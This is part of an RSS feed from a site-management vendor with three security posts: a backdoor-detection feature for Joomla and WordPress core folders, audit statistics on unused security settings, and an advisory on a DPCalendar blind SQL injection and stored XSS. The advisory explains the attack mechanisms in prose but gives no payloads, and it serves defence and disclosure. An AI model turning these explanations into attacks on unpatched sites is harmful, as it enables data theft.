&lt;li&gt;&lt;em&gt;&lt;strong&gt;Identify Missing Core Joomla Files&lt;/strong&gt;&lt;/em&gt; covers the opposite failure, where something core shipped is no longer there.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of those is the whole answer either. &lt;code&gt;/administrator/private/shell.php&lt;/code&gt; is found by several of them and missed by this one, and a differently shaped backdoor flips which is which. That is how the audit is built: many narrow checks, each with a job it does exactly, rather than one tool claiming to see everything and seeing less.&lt;/p&gt;
&lt;h2&gt;No manifest means no answer, not a clean bill of health&lt;/h2&gt;
&lt;p&gt;If we could not download the file list for your CMS version, Impostor Files shows no result at all, rather than a zero or a green tick.&lt;/p&gt;
&lt;p&gt;A zero says we looked and found nothing. That is a specific claim, and it would be a lie in the one situation where you most need us to be straight with you. The core file list is emptied and re-imported at the start of every audit, so a failed download leaves the check with nothing to compare against rather than an answer from a fortnight ago. The status shows as no data, and the reason is on the page.&lt;/p&gt;
&lt;p&gt;The same applies to sites running a connector that predates the check. No data is not a passing grade, and we do not display it as one.&lt;/p&gt;
&lt;h2&gt;Where do I find Impostor Files?&lt;/h2&gt;
&lt;p&gt;It is in the &lt;strong&gt;Hacked ?&lt;/strong&gt; section of each site’s audit, listed as &lt;em&gt;Check Core Folders For Impostor Files&lt;/em&gt; on Joomla and &lt;em&gt;Check Core WordPress Folders For Impostor Files&lt;/em&gt; on WordPress. Press Cmd+K and type part of the name to jump straight there.&lt;/p&gt;
&lt;p&gt;To answer it across everything at once rather than site by site, the all-sites view for the check is at &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/joomla/hacked/foreigncorefolderfiles&quot;&gt;manage.mysites.guru/en/tools/allsites/joomla/hacked/foreigncorefolderfiles&lt;/a&gt;, which lists every connected Joomla site with its executables count beside it. Change &lt;code&gt;joomla&lt;/code&gt; to &lt;code&gt;wordpress&lt;/code&gt; in that address for the WordPress equivalent. Sort by the executables column and the sites worth your morning are at the top.&lt;/p&gt;
&lt;p&gt;The check is Joomla and WordPress only. A generic site has no CMS, so there is no official release to compare against and nothing that can honestly be called a core folder. So the check does not appear on those sites at all, rather than sitting there reporting nothing forever.&lt;/p&gt;
&lt;figure&gt;&lt;p&gt;Why this one took a while&lt;/p&gt;&lt;div&gt;&lt;span&gt;“&lt;/span&gt;&lt;blockquote&gt;This has been on my own wish list for years and I am pleased I finally had the month to build it. Earlier in this post I called the old check a haystack. This is another magnifying glass for finding the needle in it, and it is the one I have wanted for a very long time.&lt;/blockquote&gt;&lt;/div&gt;&lt;figcaption&gt;&lt;span&gt;Phil Taylor&lt;/span&gt;&lt;span&gt;who built it&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;div&gt;&lt;p&gt;Check one site right now&lt;/p&gt;&lt;p&gt;The check runs on the next audit, with no setting to enable and nothing to configure.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Connect a site&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Not a subscriber? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; and see what is sitting in your core folders.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Open the executables list and read it. Most of what is on it will be Joomla’s own work, an older version’s leftovers, or a file the installer wrote, and you should expect a handful rather than none. The day something appears on that list that you cannot account for is the day you want to have been looking. When that happens, work through &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;the triage order for a hacked Joomla site&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;a hacked WordPress site&lt;/a&gt; rather than deleting things at random. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Connect your sites to mySites.guru&lt;/a&gt; and it runs on the next audit.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find Hacks and Backdoors in WordPress &amp;amp; Joomla&lt;/a&gt; - how the audit hashes and classifies every file on your site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;Clean a Hacked Site with Suspect Content and Hacked Files&lt;/a&gt; - the triage order once something does show up.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;The hidden files lurking on your site that you don&apos;t know about&lt;/a&gt; - the dot-folder blind spot this check does not cover on purpose.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect Content vs Hacked Files&lt;/a&gt; - which of the audit&apos;s file checks answers which question.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1505/003/&quot;&gt;MITRE ATT&amp;amp;CK T1505.003: Web Shell&lt;/a&gt; - the technique, and why persistence outlives the vulnerability that allowed it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/cli/commands/core/verify-checksums/&quot;&gt;wp core verify-checksums&lt;/a&gt; - the WP-CLI command that answers part of this question on a single WordPress site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://downloads.joomla.org/&quot;&gt;Joomla release downloads&lt;/a&gt; and &lt;a href=&quot;https://wordpress.org/download/releases/&quot;&gt;WordPress releases&lt;/a&gt; - the official packages the file lists are generated from.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hack detection</category><category>backdoor</category><category>joomla</category><category>wordpress</category><category>audit tools</category><category>file integrity</category><enclosure url="https://mysites.guru/img/og/blog/impostor-files-backdoors-in-core-folders.png" length="0" type="image/png"/></item><item><title>What Site Audits Reveal About Joomla and WordPress Security</title><link>https://mysites.guru/blog/what-site-audits-reveal-about-joomla-and-wordpress-security/</link><guid isPermaLink="true">https://mysites.guru/blog/what-site-audits-reveal-about-joomla-and-wordpress-security/</guid><description>99% of Joomla sites don&apos;t force MFA and 91.8% of WordPress sites skip DISALLOW_FILE_MODS. Real audit data on which security features get used.</description><pubDate>Fri, 28 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every mySites.guru audit runs the same set of checks against every connected site, and every check gets its own column in the database. That means we can say, with real numbers rather than a guess, exactly what fraction of live Joomla and WordPress sites pass or fail any given check. We don’t know of anyone else who can say this. Most security advice for Joomla and WordPress is written from what should be true, not from what actually is.&lt;/p&gt;
&lt;p&gt;The numbers below are drawn from each site’s most recent audit within a 90-day window, across the sites we audit. They are not a scolding. They are closer to a map of which security features are optional and which are not, and it turns out that distinction predicts the result better than anything about the platform itself.&lt;/p&gt;
&lt;h2&gt;The gap between available and enforced&lt;/h2&gt;
&lt;p&gt;Joomla has supported forced Multi-Factor Authentication on Super User accounts for years. It takes one setting to switch on, and once it’s on, every Super User has to complete MFA to log in. &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/force-mfa-for-super-users/&quot;&gt;99.0% of the Joomla sites we audit don’t force it&lt;/a&gt;. Not “don’t have MFA available” - don’t force it, on the single account type capable of doing the most damage to the site. This one has an unusual excuse behind it, which we only pinned down later: &lt;a href=&quot;https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/&quot;&gt;until Joomla 6.1 the Super Users group could not be selected in that field at all&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;WordPress has had &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; since version 2.6. Set that one constant in &lt;code&gt;wp-config.php&lt;/code&gt; and the entire file editor and plugin/theme installer inside wp-admin switches off, which closes one of the most common paths an attacker uses once they’ve got a foothold: editing a theme file directly through the admin panel. &lt;a href=&quot;https://mysites.guru/tools/wordpress-configuration/disallow-file-mods/&quot;&gt;91.8% of WordPress sites we audit don’t set it&lt;/a&gt;. Its narrower sibling, &lt;code&gt;DISALLOW_FILE_EDIT&lt;/code&gt;, which only blocks the file editor and leaves plugin installation alone, fares a little better but is still &lt;a href=&quot;https://mysites.guru/tools/wordpress-configuration/disallow-file-edit/&quot;&gt;unset on 60.6% of sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That’s the pattern across almost every check on this list. When a security feature is optional, adoption sits somewhere between “rare” and “nearly no one,” regardless of how long it’s existed or how well documented it is. No one wakes up and decides to leave MFA off for their Joomla Super User. They just never see the setting, because nothing on the site ever asks them to.&lt;/p&gt;
&lt;h2&gt;Headers no one sends because no one has to&lt;/h2&gt;
&lt;p&gt;Security headers are a cleaner version of the same story, because setting them is entirely within the site owner’s control and requires no plugin, no extension, and no code change beyond a handful of server or &lt;code&gt;.htaccess&lt;/code&gt; lines. &lt;a href=&quot;https://mysites.guru/tools/security-headers/content-security-policy/&quot;&gt;94.9% of the sites we audit, of either platform, have no Content-Security-Policy header&lt;/a&gt; - the header that tells a browser which scripts, styles and frames a page is actually allowed to load, and the single most effective defence against a compromised third-party script running freely on your site.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/tools/security-headers/strict-transport-security/&quot;&gt;72.0% of Joomla sites have no Strict-Transport-Security header&lt;/a&gt;, so a browser that’s never visited the site before has no instruction to go straight to HTTPS and will happily follow an HTTP link if one exists anywhere. &lt;a href=&quot;https://mysites.guru/tools/security-headers/x-frame-options/&quot;&gt;X-Frame-Options&lt;/a&gt; is missing on 50.4% of Joomla sites, and &lt;a href=&quot;https://mysites.guru/tools/security-headers/x-content-type-options/&quot;&gt;X-Content-Type-Options&lt;/a&gt; on 32.4% - both one-line headers, both widely recommended for a decade, both configured on a minority of sites we see. None of these require the site owner to understand cryptography or read an RFC. They require someone to add a line to a config file once, and most people never do, because nothing breaks visibly when the header is missing.&lt;/p&gt;
&lt;h2&gt;The spread: what’s everywhere and what’s vanishingly rare&lt;/h2&gt;
&lt;p&gt;The interesting comparison isn’t any single number, it’s the range. Some failures sit close to universal. Others sit close to zero, and the reason for that gap is worth sitting with.&lt;/p&gt;
&lt;p&gt;On the Joomla side, &lt;a href=&quot;https://mysites.guru/tools/extensions-and-plugins/guided-tours-plugin/&quot;&gt;60.3% of sites still have the Guided Tours plugin enabled&lt;/a&gt; in production, long after anyone needed the onboarding walkthrough it provides. &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/plain-text-password-emails/&quot;&gt;24.0% still email passwords in plain text&lt;/a&gt; rather than a reset link, and &lt;a href=&quot;https://mysites.guru/tools/user-accounts/user-registration-enabled/&quot;&gt;9.0% have user registration enabled&lt;/a&gt; on sites that don’t need public signups. These are all things a site owner would probably switch off if they ever looked, and most never look.&lt;/p&gt;
&lt;p&gt;Compare that with the checks near the bottom. &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/ftp-layer-credentials/&quot;&gt;4.6% of Joomla sites still have FTP credentials sitting in Global Configuration&lt;/a&gt;, a legacy feature almost no one uses any more. &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/shared-site-and-admin-sessions/&quot;&gt;4.2% share sessions between the site and the administrator&lt;/a&gt;, which means a session cookie stolen on the front end can be replayed against the back end. &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/debug-mode-enabled/&quot;&gt;1.0% have debug mode on in production&lt;/a&gt;, leaking stack traces and file paths to anyone who requests a broken URL. &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/sef-urls-disabled/&quot;&gt;0.7% have SEF URLs turned off&lt;/a&gt;, which mostly hurts SEO rather than security but travels in the same neighbourhood of “settings no one revisits.” And at the very bottom, &lt;a href=&quot;https://mysites.guru/tools/database-integrity/database-user-is-root/&quot;&gt;0.1% of Joomla sites connect to the database as root&lt;/a&gt; - a database account with no restrictions at all, sitting behind the site’s own credentials.&lt;/p&gt;
&lt;p&gt;That bottom group is rare for a reason. Running as root, or leaving debug mode on in production, tends to be visible enough, or catastrophic enough when it goes wrong, that someone eventually notices and fixes it. A missing security header or an unforced MFA setting breaks nothing that anyone can see, so it just persists. Rare failures here are the ones that get caught. Common failures are the ones that don’t announce themselves.&lt;/p&gt;
&lt;h2&gt;WordPress has the same shape, different specifics&lt;/h2&gt;
&lt;p&gt;WordPress shows the identical pattern with its own checks. &lt;a href=&quot;https://mysites.guru/tools/wordpress-configuration/disable-xmlrpc/&quot;&gt;48.6% of WordPress sites still have XML-RPC enabled&lt;/a&gt; - it ships on by default, so this figure is less a measure of active choice and more a measure of how many sites have simply never had a reason to turn it off, despite it being a longstanding target for brute-force and amplification attacks.&lt;/p&gt;
&lt;p&gt;At the opposite end, &lt;a href=&quot;https://mysites.guru/tools/wordpress-configuration/search-engine-visibility/&quot;&gt;3.4% of WordPress sites are accidentally blocking search engines&lt;/a&gt; via the “discourage search engines” setting left on from a staging environment or a migration. That’s not a security failure at all, it’s an availability one, but it belongs in the same list because it shares the same root cause: a setting flipped once, for a reason that made sense at the time, and never revisited. A further 1.5% of Joomla sites are &lt;a href=&quot;https://mysites.guru/blog/robots-txt-for-joomla-and-wordpress/&quot;&gt;blocking every crawler in robots.txt as well&lt;/a&gt;, which is a separate switch with the same effect.&lt;/p&gt;
&lt;h2&gt;What this means for a portfolio of sites&lt;/h2&gt;
&lt;p&gt;None of this is really about any one site owner being careless. Across every one of these checks, the sites that pass are overwhelmingly the ones where the setting is the default, is forced by the platform, or was switched on for a completely unrelated reason. The sites that fail are the ones where a human being would have had to go looking for a setting, understand what it does, and decide to change it, with no visible consequence for leaving it alone.&lt;/p&gt;
&lt;p&gt;It also explains why the same handful of checks keep showing up across completely unrelated incidents. A shared session between the front end and the administrator, a Super User without forced MFA, a missing Content-Security-Policy header: none of these cause a hack on their own, but each one removes a barrier that would otherwise have slowed an attacker down or contained the damage once they were in. The sites that get hurt worst tend to be the ones where several of these optional settings were left off at once, not because any single one was the cause, but because nothing stood between the initial foothold and the rest of the site.&lt;/p&gt;
&lt;p&gt;That’s the argument for treating these as things to check rather than things to remember. A checklist you run once at onboarding tells you what a site looked like on the day you looked. A check that runs against every connected site on every snapshot tells you the moment any of these regresses, whether that’s a header dropped during a server migration or a debug flag left on after a deploy. The full set of checks behind these figures, including the ones not covered here, is in the &lt;a href=&quot;https://mysites.guru/tools/&quot;&gt;tools reference&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>wordpress</category><category>data</category><category>audits</category><enclosure url="https://mysites.guru/img/og/blog/what-site-audits-reveal-about-joomla-and-wordpress-security.png" length="0" type="image/png"/></item><item><title>DPCalendar 10.12.0 fixes an SQL injection and an XSS</title><link>https://mysites.guru/blog/dpcalendar-order-by-sqli-location-xss/</link><guid isPermaLink="true">https://mysites.guru/blog/dpcalendar-order-by-sqli-location-xss/</guid><description>Digital Peak fixed a blind SQL injection and a stored XSS in DPCalendar 10.12.0, backported to 8.19.5 for Joomla 3. Both need a logged-in user.</description><pubDate>Thu, 27 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Digital Peak released &lt;a href=&quot;https://joomla.digital-peak.com/products/dpcalendar&quot;&gt;DPCalendar&lt;/a&gt; 10.12.0 today, with a security section that named two issues and gave no detail beyond a severity rating. So we did what we usually do and diffed the packages.&lt;/p&gt;
&lt;p&gt;This is the second security release for this Joomla extension in six weeks. The first was ours: we reported an unauthenticated SQL injection in July, and Digital Peak fixed it in a day. This one is not ours. Both issues were reported by an independent researcher, Toan Le, and both need somebody logged in, which makes this a different kind of problem from July’s.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DPCalendar 10.12.0&lt;/strong&gt; fixes a blind SQL injection (vendor-rated High) and a stored cross-site scripting flaw (vendor-rated Medium). Both fixes are backported to &lt;strong&gt;8.19.5&lt;/strong&gt; for the Joomla 3 branch&lt;/li&gt;
&lt;li&gt;The SQL injection is reached by &lt;strong&gt;saving a Joomla article&lt;/strong&gt; that contains a DPCalendar tag, so it needs article-edit permission. The XSS needs permission to create a DPCalendar location&lt;/li&gt;
&lt;li&gt;Neither is reachable by an anonymous visitor. No one can walk in off the internet and trigger either one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No CVE has been assigned yet&lt;/strong&gt; for either issue&lt;/li&gt;
&lt;li&gt;The root cause of the SQL injection is worth understanding: the sort column was passed through the database escaping function, which protects values inside quotes and does nothing at all for a column name&lt;/li&gt;
&lt;li&gt;Across the DPCalendar sites we can currently see, &lt;strong&gt;more than four in five&lt;/strong&gt; are still on a version below this fix. More concerning, about &lt;strong&gt;one in six&lt;/strong&gt; is still missing July’s fix, which closed a flaw an anonymous visitor could use&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Digital Peak fixed in DPCalendar 10.12.0&lt;/h2&gt;
&lt;p&gt;The vendor’s &lt;a href=&quot;https://joomla.digital-peak.com/blog/article-creation-from-events-and-security-fixes&quot;&gt;release announcement&lt;/a&gt; lists both issues by internal tracker number:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;#12206&lt;/strong&gt;, a blind SQL injection triggered by saving an article, needing update permission for articles, rated &lt;strong&gt;High&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;#12203&lt;/strong&gt;, a location title rendered into a data attribute without escaping, leading to cross-site scripting, needing create permission in DPCalendar, rated &lt;strong&gt;Medium&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Digital Peak also states that the site itself cannot be compromised through these, that files are safe, and that they have no information suggesting data was stolen, because the finder contacted them directly. We found nothing to contradict that: there is no public proof-of-concept, no exploit code, and no report of exploitation in the wild for either issue.&lt;/p&gt;
&lt;h2&gt;How the SQL injection works, and why escaping did not stop it&lt;/h2&gt;
&lt;p&gt;This one is a good teaching case, because the vulnerable code looks defended.&lt;/p&gt;
&lt;p&gt;DPCalendar’s front-end events model builds a query and then adds a sort clause. Before 10.12.0, it took the sort column and direction out of the model’s state and passed each through the database escaping function on the way into the query.&lt;/p&gt;
&lt;p&gt;That reads like protection. It is not, and the reason is worth spelling out, because the same misunderstanding shows up across a lot of PHP.&lt;/p&gt;
&lt;p&gt;An escaping function exists to make a &lt;strong&gt;value&lt;/strong&gt; safe once it sits inside quotes. It handles the characters that would let a value break out of its quoting. A sort column never sits inside quotes: it is an identifier, part of the grammar of the statement rather than data inside it. So the escaping ran, found nothing it was designed to change, and passed the text through into the query as instructions.&lt;/p&gt;
&lt;p&gt;The fix in 10.12.0 checks the sort column against the model’s existing list of columns that actually exist, and the direction against a short list of permitted values, falling back to a safe default when either fails. That is the correct shape for this problem: an allowlist, not a filter.&lt;/p&gt;
&lt;h3&gt;Where the attacker-controlled value comes from&lt;/h3&gt;
&lt;p&gt;The part that turns this from a code smell into a vulnerability is how the sort value reaches the model.&lt;/p&gt;
&lt;p&gt;The sort parameter that arrives in a normal web request was already validated against that same list of real columns, in both the vulnerable and the fixed version. We checked, because it changes the advice considerably. That path was never the problem.&lt;/p&gt;
&lt;p&gt;The route that was open ran through the DPCalendar content plugin. That plugin reads DPCalendar tags inside Joomla article text and turns the options written in the tag into settings on the events model, including the sort column and direction, with no validation on the way through. So the attacker is not a passing visitor tampering with a URL. The attacker is somebody who can save an article.&lt;/p&gt;
&lt;p&gt;That also explains the practical workaround. Because the request path was already safe and the plugin path was not, disabling the DPCalendar content plugin closes this specific route while leaving calendar menu items and modules working.&lt;/p&gt;
&lt;p&gt;We are describing the mechanism at the level the vendor did and not publishing the tag syntax or a working payload, because most sites running this extension have not updated yet.&lt;/p&gt;
&lt;h2&gt;The cross-site scripting flaw in DPCalendar location titles&lt;/h2&gt;
&lt;p&gt;The second issue is simpler. DPCalendar renders a location’s title into an HTML attribute that its map JavaScript reads. In the versions before 10.12.0, several templates wrote that title into the attribute raw.&lt;/p&gt;
&lt;p&gt;If a title contains the characters that end an attribute, it stops being text and becomes markup, which is the whole of cross-site scripting. It is stored rather than reflected, so the payload sits in the database and fires for whoever views the page afterwards.&lt;/p&gt;
&lt;p&gt;The fix has two parts, which is the right way to do it. On the way in, the location title field now runs through Joomla’s configured text filter, so tags are stripped on save. On the way out, the templates escape the title before writing it into the attribute. Input filtering and output escaping solve different parts of the problem, and this release added both.&lt;/p&gt;
&lt;p&gt;Creating a DPCalendar location is a permission, not something anonymous visitors can do, so this needs an account with location-create rights.&lt;/p&gt;
&lt;h2&gt;Which DPCalendar versions are affected?&lt;/h2&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Line&lt;/th&gt;&lt;th&gt;Affected&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Current (Joomla 4.4.4 to 6.x)&lt;/td&gt;&lt;td&gt;Everything below 10.12.0&lt;/td&gt;&lt;td&gt;&lt;strong&gt;10.12.0&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3 branch&lt;/td&gt;&lt;td&gt;Everything below 8.19.5&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8.19.5&lt;/strong&gt; (security fixes only)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9.x&lt;/td&gt;&lt;td&gt;All of it&lt;/td&gt;&lt;td&gt;No patch. Upgrade to 10.12.0&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The vulnerable code sits in the component’s own front-end model and its location templates rather than in any edition-specific add-on, so this is not a Free-edition problem. If you run DPCalendar, you are on the list until you update.&lt;/p&gt;
&lt;p&gt;The 9.x line is the awkward one, exactly as it was in July. There is no 9.x patch, and the route across is staged: 9.x to 10.0.0, then 10.6.0, then 10.12.0.&lt;/p&gt;
&lt;h2&gt;Who can actually exploit this?&lt;/h2&gt;
&lt;p&gt;This is the question that decides whether today is a busy afternoon or a routine update, and it depends entirely on your site.&lt;/p&gt;
&lt;p&gt;On a brochure site where you are the only person who ever logs in, both of these are housekeeping. Patch on your normal schedule.&lt;/p&gt;
&lt;p&gt;On a site with freelance writers, client staff who publish their own news, a membership tier that grants Author, or an old contractor account no one got round to deleting, the picture changes. The SQL injection is the difference between an account that can write a news post and an account that can read every user record and password hash in the database. Blind injection sounds like a limitation, and it is not much of one: a boolean oracle reads a database one character per request, and no one does that by hand.&lt;/p&gt;
&lt;p&gt;So the useful exercise today is opening the user list on the sites that matter and asking who still has an account, and why, alongside patching.&lt;/p&gt;
&lt;h2&gt;What we see across the Joomla sites we manage&lt;/h2&gt;
&lt;p&gt;We record the installed version of every extension on every connected site, which lets us say something about how a release like this actually spreads, rather than guessing.&lt;/p&gt;
&lt;p&gt;Looking only at sites that have reported in during the last 30 days, on the day of release:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;More than four in five&lt;/strong&gt; DPCalendar installs are on a version below 10.12.0 or 8.19.5. That is normal for release day, and it is why we email affected customers directly rather than waiting for people to notice a version badge change in the mySites.guru dashboard&lt;/li&gt;
&lt;li&gt;About &lt;strong&gt;one in six&lt;/strong&gt; had already taken the update within hours. Digital Peak’s update channel moves faster than most, which is a credit to them&lt;/li&gt;
&lt;li&gt;Roughly &lt;strong&gt;one in five&lt;/strong&gt; installs sit on the 8.x branch or older, meaning they run on Joomla 3. Joomla 3 reached end of life in August 2023, and even the paid extended support programme ended in February 2025. Digital Peak &lt;a href=&quot;https://joomla3security.com/vendors/digital-peak/&quot;&gt;still ships security fixes for that branch&lt;/a&gt;, which is more than &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;most vendors&lt;/a&gt; do, but the CMS underneath it has had no official security support for well over a year&lt;/li&gt;
&lt;li&gt;There are &lt;strong&gt;81 distinct DPCalendar versions&lt;/strong&gt; in the wild across the sites we can see, and the oldest still running is a 4.x. That version predates every fix discussed here by years&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are not publishing site counts, because the size of the estate is not ours to hand out. The proportions are the useful part anyway.&lt;/p&gt;
&lt;h2&gt;The tail from July is the bigger problem&lt;/h2&gt;
&lt;p&gt;Here is the number that made us stop, and it has nothing to do with today’s release.&lt;/p&gt;
&lt;p&gt;Six weeks after Digital Peak shipped July’s fix, and after we emailed every affected customer directly, &lt;strong&gt;about one in six&lt;/strong&gt; of the DPCalendar installs we can see is still on a version below 10.11.2 or 8.19.4.&lt;/p&gt;
&lt;p&gt;Those sites have a worse problem than the one this release fixes. July’s flaw was &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57831/&quot;&gt;CVE-2026-57831&lt;/a&gt;, CVSS 4.0 8.7, and it needed no login at all. An anonymous request against a public events feed read the database. Today’s SQL injection at least requires an account with article rights.&lt;/p&gt;
&lt;p&gt;If you are reading this and you have not touched DPCalendar since June, the version to worry about is not 10.12.0. Get to 10.11.2 or 8.19.4 first, because that is the one an attacker can reach without knocking.&lt;/p&gt;
&lt;h2&gt;Credit where it is due: a second fast fix&lt;/h2&gt;
&lt;p&gt;We were complimentary about Digital Peak in July, and nothing here changes that.&lt;/p&gt;
&lt;p&gt;They shipped that fix inside 24 hours, over a holiday break, outside their normal release schedule. This time they fixed both issues in the scheduled monthly release, backported them to a branch supporting a CMS that has been end-of-life for three years, published a security section naming both issues and their severities, and credited the researcher by name with a link to his profile.&lt;/p&gt;
&lt;p&gt;The one thing we would ask for is more detail in the announcement itself. “Security: High” with no description is what sent us to a package diff. Site owners deciding whether to interrupt their afternoon deserve to know that both issues need an authenticated user, and that fact was in the announcement only if you read to the security section rather than the changelog line.&lt;/p&gt;
&lt;p&gt;For the record, &lt;a href=&quot;https://joomla.digital-peak.com/&quot;&gt;Digital Peak has no published security policy page&lt;/a&gt; that we could find, and no &lt;code&gt;security.txt&lt;/code&gt;. For a vendor that handles reports this well in practice, that is a gap worth closing.&lt;/p&gt;
&lt;h2&gt;One claim from July does not hold up&lt;/h2&gt;
&lt;p&gt;When Digital Peak fixed our July flaw, their advisory described it as the first security vulnerability reported in DPCalendar since the component first shipped in 2012. We repeated that at the time, because it was their statement to make. It is not accurate, and we would rather correct our own record than let it stand.&lt;/p&gt;
&lt;p&gt;DPCalendar had a cross-site scripting vulnerability disclosed in February 2024, tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2024-21727/&quot;&gt;CVE-2024-21727&lt;/a&gt; and assigned by the Joomla CNA, affecting versions 8.0.0 to 8.14.0. That is public record, and it predates July’s SQL injection by more than two years.&lt;/p&gt;
&lt;p&gt;This is not a mark against the fixes, which have been fast and complete. It matters because “first since 2012” gets repeated, and an extension’s real security history is exactly what tells you whether to keep it patched and watched. DPCalendar now has at least four separate issues on the public record: the 2024 XSS, our July SQL injection, and the two Toan Le reported this week. That is a normal number for a large, actively used extension, and the useful takeaway is the opposite of reassuring folklore about a clean sheet: treat every extension as something that will need updating, because sooner or later it will.&lt;/p&gt;
&lt;h2&gt;Toan Le is auditing Joomla extensions at pace&lt;/h2&gt;
&lt;p&gt;The finder here is worth noting, because it fits a pattern we &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;wrote about earlier this month&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Toan Le’s public work since June 2026 includes CVEs in JoomGallery (an IDOR with stored XSS, and a password-protected category bypass), J2Commerce (stored XSS through a cookie filter bypass), PhocaCart (an unauthenticated SQL injection scored 9.3, plus two stored and reflected XSS issues) and PhocaCommander (three path traversal flaws). That is a systematic sweep of widely installed Joomla extensions by one researcher, in the same window we have been running our own.&lt;/p&gt;
&lt;p&gt;This is good news, and it has a practical consequence. The rate at which Joomla extension vulnerabilities are being found and disclosed has gone up sharply this year. The extensions have not suddenly got worse; more people are looking. If your update process assumes a couple of extension security releases a year, it is calibrated for a quieter era than the one we are in.&lt;/p&gt;
&lt;h2&gt;How do you update DPCalendar safely?&lt;/h2&gt;
&lt;p&gt;DPCalendar updates through Joomla’s own extension updater, so the mechanics are ordinary. The parts worth care:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first&lt;/strong&gt;, particularly on the 9.x line where you are doing a staged upgrade rather than a point release&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your Joomla version supports the target.&lt;/strong&gt; The 10.x line needs Joomla 4.4.4 or newer. If you are on Joomla 3, your target is 8.19.5, not 10.12.0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update on a staging copy first&lt;/strong&gt; if the site runs a heavily customised calendar. 10.12.0 is a feature release as well as a security one, adding article creation from events and tag display in list views&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your template overrides.&lt;/strong&gt; If you have overridden any of the DPCalendar location templates, your overrides still contain the unescaped output, and updating the extension will not fix a copy sitting in your template. This is the single most likely way to update and stay vulnerable&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable automatic updates&lt;/strong&gt; so the next one arrives without you doing anything. We wrote up &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;how to turn on auto-updates for any Joomla extension&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That fourth point is the one that catches people. Overrides are copies, and a security fix in a template never reaches a copy. Joomla records which overrides an update changed, and mySites.guru &lt;a href=&quot;https://mysites.guru/blog/check-joomla-template-overrides-across-sites/&quot;&gt;lists them across all your sites&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do I find every DPCalendar site I manage?&lt;/h2&gt;
